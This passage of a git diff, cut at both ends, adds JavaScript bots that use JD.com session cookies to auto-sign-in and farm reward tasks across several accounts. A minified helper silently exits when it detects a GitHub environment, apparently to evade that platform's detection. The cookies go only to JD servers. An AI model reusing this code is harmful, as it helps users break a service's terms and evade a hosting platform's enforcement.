$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await sign() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + } + resolve() + }) +} + + +function sign() { + return new Promise(resolve => { + $.post(taskUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.resultData.message) + message += `${data.resultData.message}` + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl() { + return { + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/signIn12?_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + body : 'reqData=%7B%22channelLv%22%3A%22changjinglouceng%22%2C%22site%22%3A%22JD_JR_APP%22%7D', + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "ms.jr.jd.com", + "Referer": "https://member.jr.jd.com/activities/signin-annual/index.html?channelLv=changjinglouceng&jrcontainer=h5&jrlogin=true", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jx_sign.js b/activity/jx_sign.js new file mode 100644 index 0000000..69db78a --- /dev/null +++ b/activity/jx_sign.js @@ -0,0 +1,315 @@ +/* +京喜签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +5 0 * * * jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 0 * * *" script-path=jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="5 0 * * *",wake-system=1,timeout=3600,script-path=jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=jx_sign.js, cronexpr="5 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京喜签到'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://m.jingxi.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.newShareCodes = [] + // await getAuthorShareCode(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.coins = 0 + $.money = 0 + await sign() + await getTaskList() + await doubleSign() + await showMsg() +} +function sign() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + if(data.data.signStatus===0){ + console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) + $.coins += parseInt(data.data.pingoujin) + }else{ + console.log(`今日已签到`) + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + for (task of data.data.tasks) { + if(task.taskState===1){ + console.log(`去做${task.taskName}任务`) + await doTask(task.taskId); + await $.wait(1000) + await finishTask(task.taskId); + await $.wait(1000) + } + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务领取成功`) + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function finishTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) + $.coins += data.datas[0]['pingouJin'] + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doubleSign() { + return new Promise((resolve) => { + $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) + $.money += data.data.jd_amount / 100 + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function showMsg() { + message+=`本次运行获得金币${$.coins},现金${$.money}` + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body = '') { + return { + url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 